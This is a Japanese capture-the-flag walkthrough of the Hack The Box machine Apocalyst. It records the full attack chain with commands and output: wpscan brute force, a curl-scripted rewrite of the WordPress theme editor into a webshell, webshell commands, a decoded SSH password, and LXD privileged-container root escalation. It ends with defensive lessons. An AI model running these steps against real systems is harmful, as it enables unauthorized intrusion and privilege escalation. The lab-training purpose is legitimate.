Hack The BoxのWriteup(Apocalyst)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Apocalyst — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80、WordPress検出
CeWL + steghide
/Rightiousness/ → list.txt
wpscan ブルートフォース
falaraki / Transclisiation
テーマエディタRCE
single.php webshell
www-data シェル
user.txt ✓
.secret復号 → SSH
lxd グループ所属判明
特権LXDコンテナ
ホスト / をマウント
root.txt ✓

ポートスキャン

BASH
nmap -Pn -p- --min-rate 3000 -T4 10.129.61.122
nmap -sV -sC -p 22,80 10.129.61.122
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH
80/tcp open  http    Apache httpd
|_http-title: Apocalypse Preparation Blog

Nmap done: 1 IP address (1 host up) scanned
ℹ️
オープンポートは 22 (SSH)80 (Apache) のみ。80番の応答内容から WordPress ベースのブログ (“Apocalypse Preparation Blog”) と判明。

/etc/hosts へのホスト名登録

BASH
echo "10.129.61.122 apocalyst.htb" | sudo tee -a /etc/hosts
⚠️
WordPress の siteurl がホスト名ベースの絶対URLで設定されているため、 IPアドレス直打ちでは一部のリンク・リダイレクトが正しく機能しない。 必ずホスト名 apocalyst.htb でアクセスする。

通常のディレクトリ列挙は空振り

BASH
gobuster dir -u http://apocalyst.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html
RESULT
wp-admin (302) wp-content (301) wp-includes (301) wp-login.php (200)
(標準的なWordPress構成のディレクトリ以外、有用な隠しパスは見つからない)
ℹ️
汎用ワードリストでは何も見つからない。このマシンの隠しディレクトリ名は サイト自身の文章から作った単語でなければ辞書に含まれない特殊な単語。
PHASE 2

CeWL によるサイト固有ワードリスト生成 & steghide 抽出

CeWL でサイト本文からワードリストを生成

BASH
cewl http://apocalyst.htb/ -w cewl_wordlist.txt --with-numbers -d 3
RESULT
CeWL がブログ本文中の全単語を収集したワードリストを出力
("Rightiousness" 等、ブログ独自のスペルミス単語も含まれる)

生成したワードリストでディレクトリ列挙 → 隠しディレクトリ発見

BASH
gobuster dir -u http://apocalyst.htb/ -w cewl_wordlist.txt
RESULT
/Rightiousness (Status: 200)
🚨
発見: /Rightiousness/ (“righteousness” の意図的な綴りミス) というブログ本文以外には存在しない単語のディレクトリが見つかった。 中に image.jpg が置かれている。

image.jpg を取得し steghide で抽出(空パスフレーズ)

BASH
curl -s -o image.jpg http://apocalyst.htb/Rightiousness/image.jpg
steghide info image.jpg
steghide extract -sf image.jpg -p "" -xf list.txt
RESULT
"image.jpg": ... embedded data compressed, encrypted ...
wrote extracted data to "list.txt".
steghide の埋め込みパスフレーズが空文字列だったため、パスフレーズ入力を 求められた際に何も入力せず Enter するだけで抽出できる。list.txt には 多言語の単語が486個含まれており、これを後段の wpscan パスワード辞書に使う。
PHASE 3

WordPress ユーザー名特定 & wpscan パスワードブルートフォース

投稿ページのバイラインからユーザー名を特定

BASH
curl -s http://apocalyst.htb/?p=5 | grep -o 'class="author vcard">]*>[^<]*'
RESULT
class="author vcard"><a ...>falaraki</a>
ℹ️
wp-json REST API (/wp-json/wp/v2/users) は 404 で無効化されているが、 投稿ページ本文の著者バイライン HTML から直接ユーザー名 falaraki が取得できる。

wpscan で list.txt を辞書にパスワードをブルートフォース

BASH
wpscan --url http://apocalyst.htb --passwords list.txt --usernames falaraki \
  --max-threads 10 --no-banner
RESULT
[i] User(s) Identified:
[+] falaraki

Trying falaraki / Transclisiation Time: 00:04:19 ...
[SUCCESS] - falaraki / Transclisiation
資格情報特定: falaraki / Transclisiation。 list.txt はわずか486語だったため、数分でブルートフォースが完了した。
PHASE 4

テーマエディタ経由の RCE & user.txt 取得

wp-login.php で管理画面にログイン

BASH
curl -s -c cookies.txt http://apocalyst.htb/wp-login.php -o /dev/null
curl -s -b cookies.txt -c cookies.txt -o /dev/null \
  --data-urlencode "log=falaraki" \
  --data-urlencode "pwd=Transclisiation" \
  --data-urlencode "wp-submit=Log In" \
  --data-urlencode "redirect_to=http://apocalyst.htb/wp-admin/" \
  --data-urlencode "testcookie=1" \
  http://apocalyst.htb/wp-login.php
RESULT
Set-Cookie: wordpress_logged_in_...=falaraki%7C...; path=/
wordpress_logged_in_* クッキーが発行され、管理画面ログイン成功を確認。

外観 > テーマエディター (single.php) を webshell に書き換え

BASH
# 1. nonce と theme スラッグを取得
curl -s -b cookies.txt "http://apocalyst.htb/wp-admin/theme-editor.php?file=single.php" \
  | grep -oE 'name="_wpnonce"\s+value="[^"]+"|name="theme"\s+value="[^"]+"'

# 2. single.php の内容をPHP webshellに更新
curl -s -b cookies.txt -o /dev/null \
  --data-urlencode "newcontent=" \
  --data-urlencode "action=update" \
  --data-urlencode "file=single.php" \
  --data-urlencode "theme=<取得したtheme値>" \
  --data-urlencode "scrollto=0" \
  --data-urlencode "_wpnonce=<取得したnonce値>" \
  --data-urlencode "submit=Update File" \
  http://apocalyst.htb/wp-admin/theme-editor.php
⚠️
single.php は投稿の個別ページ表示に使われるテンプレートファイルなので、 書き換え後は 任意の投稿URL (例: /?p=5) にアクセスするだけで webshell が実行される。

webshell で RCE 確認 & user.txt 取得

BASH
curl -s -G --data-urlencode "melo=id" http://apocalyst.htb/?p=5
curl -s -G --data-urlencode "melo=cat /home/falaraki/user.txt" http://apocalyst.htb/?p=5
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
d6d2d616835abc852016c9a90ff44c48
user.txt — www-data → falaraki (world-readable)
d6d2d616835abc852016c9a90ff44c48
ℹ️
/home/falaraki/user.txt は world-readable (-r--r--r--) だったため、 www-data 権限のまま直接 cat できた。
PHASE 5

権限昇格の下調べ — .secret 復号 & lxd グループ発見

/etc/passwd が world-writable(PDFオリジナル手法は本番では不成立)

BASH
curl -s -G --data-urlencode "melo=ls -la /etc/passwd" http://apocalyst.htb/?p=5
RESULT
-rw-rw-rw- 1 root root ... /etc/passwd
🚨
重要な検証結果: 公式PDFウォークスルー(2017年時点)は world-writable な /etc/passwdopenssl passwd で生成した UID=0 の行を直接追記し su する手法を紹介しているが、 このライブインスタンスでは機能しないことを確認済み。 /etc/shadow に対応するエントリが存在しないアカウントは pam_unix が authentication failure として拒否するため(shadow必須の設定に 変更されている)、su でも SSH でも同じ結果になる。 後述の lxd グループ経由の特権コンテナが確実に機能する代替手段。

falaraki のホームディレクトリ調査 → .secret 発見

BASH
curl -s -G --data-urlencode "melo=ls -la /home/falaraki" http://apocalyst.htb/?p=5
curl -s -G --data-urlencode "melo=cat /home/falaraki/.secret" http://apocalyst.htb/?p=5
RESULT (.secret, base64)
S2VlcCBmb3JnZXR0aW5nIHBhc3N3b3JkIHNvIHRoaXMgd2lsbCBrZWVwIGl0IHNhZmUhDQpZMHVBSU50RzM3VGlOZ1RIIXNVemVyc1A0c3M=
BASH (base64デコード)
echo "S2VlcCBmb3JnZXR0aW5nIHBhc3N3b3JkIHNvIHRoaXMgd2lsbCBrZWVwIGl0IHNhZmUhDQpZMHVBSU50RzM3VGlOZ1RIIXNVemVyc1A0c3M=" | base64 -d
RESULT
Keep forgetting password so this will keep it safe!
Y0uAINtG37TiNgTH!sUzersP4ss
falaraki の SSH パスワード判明: Y0uAINtG37TiNgTH!sUzersP4ss (メモの最終行がパスワード本体)。

SSH ログイン & グループメンバーシップ確認

BASH
ssh falaraki@apocalyst.htb
# Password: Y0uAINtG37TiNgTH!sUzersP4ss
$ id
RESULT
uid=1000(falaraki) gid=1000(falaraki) groups=1000(falaraki),108(lxd)
🚨
重大発見: falaraki は lxd グループのメンバー。 LXD の特権コンテナ機能を使えばホストの root として振る舞えるため、 直接的な root 権限昇格ルートが確保できる。
PHASE 6

LXD 特権コンテナによる権限昇格 → root.txt

Alpine LXD イメージを攻撃者ホストで作成

NOTE
ターゲットはインターネットに出られないため、標準の `lxc launch images:...`
は使えない。攻撃者(Kali)側で Alpine の minirootfs を取得し、LXD が要求する
metadata.tar.gz + rootfs.tar.gz のイメージペアを自作して転送する。
BASH
# Kali側: Alpine minirootfs を取得
curl -L -o rootfs.tar.gz \
  https://dl-cdn.alpinelinux.org/alpine/v3.18/releases/x86_64/alpine-minirootfs-3.18.0-x86_64.tar.gz

# LXD用の metadata.yaml を作った上で metadata.tar.gz にまとめる
cat > metadata.yaml <<'EOF'
architecture: "x86_64"
creation_date: 1700000000
properties:
  os: "Alpine"
  release: "v3.18"
  description: "Alpine minirootfs"
EOF
tar czf metadata.tar.gz metadata.yaml

SCP でターゲットに転送し、特権コンテナを作成

BASH
scp metadata.tar.gz rootfs.tar.gz falaraki@apocalyst.htb:/tmp/

ssh falaraki@apocalyst.htb
$ lxd init --auto
$ lxc image import /tmp/metadata.tar.gz /tmp/rootfs.tar.gz --alias apocalpine
$ lxc init apocalpine pwn -c security.privileged=true
$ lxc config device add pwn hostroot disk source=/ path=/mnt/hostroot recursive=true
$ lxc start pwn
$ lxc exec pwn -- cat /mnt/hostroot/root/root.txt
ℹ️
security.privileged=true のコンテナは、コンテナ内 root がホスト側 root (UID 0) に直接マッピングされる(ユーザーネームスペースの分離が無効化される)。 disk source=/ ... recursive=true でホストの / 全体をコンテナ内に マウントすれば、コンテナ内から見た /mnt/hostroot/ はホストの実ファイル システムそのものになり、実質的にホスト上の root 権限を得られる。

root.txt 取得

RESULT
ec131617b4840e1f25021aacb5ec36fa
root.txt — via LXD privileged container hostroot mount
ec131617b4840e1f25021aacb5ec36fa
root化成功。 検証後、作成したコンテナ (pwn) とイメージ (apocalpine)、転送した tar.gz ファイルはクリーンアップ済み。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — falaraki
d6d2d616835abc852016c9a90ff44c48
root.txt — root@apocalyst
ec131617b4840e1f25021aacb5ec36fa

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
ステガノグラフィー隠蔽 + 弱いディレクトリ命名 /Rightiousness/image.jpg パスワード辞書の漏洩 Medium CeWLでサイト固有ワードリストを作り隠しディレクトリを発見、空パスフレーズのsteghideで辞書ファイル抽出
弱いWordPressパスワード WordPress ユーザー falaraki 管理画面への不正ログイン High 抽出した辞書ファイルを使ったwpscanブルートフォースで平文パスワードを特定
テーマエディタ経由のRCE (既知のWordPress機能悪用) wp-admin/theme-editor.php リモートコード実行 (www-data) Critical 管理画面ログイン後、テーマファイル(single.php)をPHP webshellに書き換えて任意コード実行
lxd グループによる特権コンテナ権限昇格 falaraki ユーザー (lxdグループ) root への権限昇格 Critical security.privileged=true のLXDコンテナでホストの / を再帰マウントしroot.txtを直接読み取り

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + WordPress検出22/80のみオープン、"Apocalypse Preparation Blog"
2隠しディレクトリ発見CeWL固有ワードリスト + gobuster/Rightiousness/image.jpg
2ステガノグラフィー抽出steghide (空パスフレーズ)list.txt (多言語486単語)
3資格情報特定投稿バイライン + wpscanブルートフォースfalaraki / Transclisiation
4RCE & エクスプロイトWordPressテーマエディタ書き換えuser.txt 取得 (www-data経由)
5権限調査/etc/passwd確認 (不成立) + .secret復号falaraki SSHパスワード、lxdグループ所属
6権限昇格特権LXDコンテナでホスト / マウントroot.txt 取得

学んだ教訓 & 防御策

問題点防御策
サイト独自の単語(スペルミス含む)が汎用ワードリストで見つからない隠しディレクトリ名に使われている 「見つかりにくい名前」はセキュリティ対策ではない(security through obscurity)。ディレクトリのアクセス制御はサーバー側の認証・認可で行うべき。
画像ファイルに steghide で機密情報(パスワード辞書)を隠蔽していたが、パスフレーズが空文字列 ステガノグラフィーは機密情報の保護手段として不十分。空パスフレーズは実質「保護なし」と同義であり、機密情報は正規のシークレット管理システムで扱うべき。
WordPress管理者アカウントのパスワードが小規模な辞書でブルートフォース可能なほど弱い 強力なパスワードポリシーの強制、ログイン試行回数制限プラグイン(例: Limit Login Attempts)の導入、可能であれば多要素認証を有効化する。
WordPressのテーマエディタ機能が管理者に対して有効なままRCEに直結する 本番環境では DISALLOW_FILE_EDITwp-config.php に設定してテーマ/プラグインエディタを無効化する。管理者アカウントであってもファイル書き込みは最小権限に制限する。
一般ユーザーが lxd グループに所属しており、特権コンテナ経由で事実上のroot権限を取得できる lxd/docker 等、コンテナ管理グループへの所属は事実上のroot権限と同義であることを認識し、一般ユーザーに安易に付与しない。既知のLXD/Docker権限昇格経路をLinPEAS等の列挙ツールで定期的に確認する。
公式ウォークスルー記載の /etc/passwd 直接追記による権限昇格が現行構成では機能しない (pam_unixがshadow必須) これは意図した緩和策というより環境設定の差異によるものだが、結果的に「/etc/passwdの世界書き込み権限」単独では侵害に直結しないことを示している。とはいえ world-writable な /etc/passwd 自体は重大な設定不備であり修正すべき。
HackTheBox: Apocalyst | 完全攻略レポート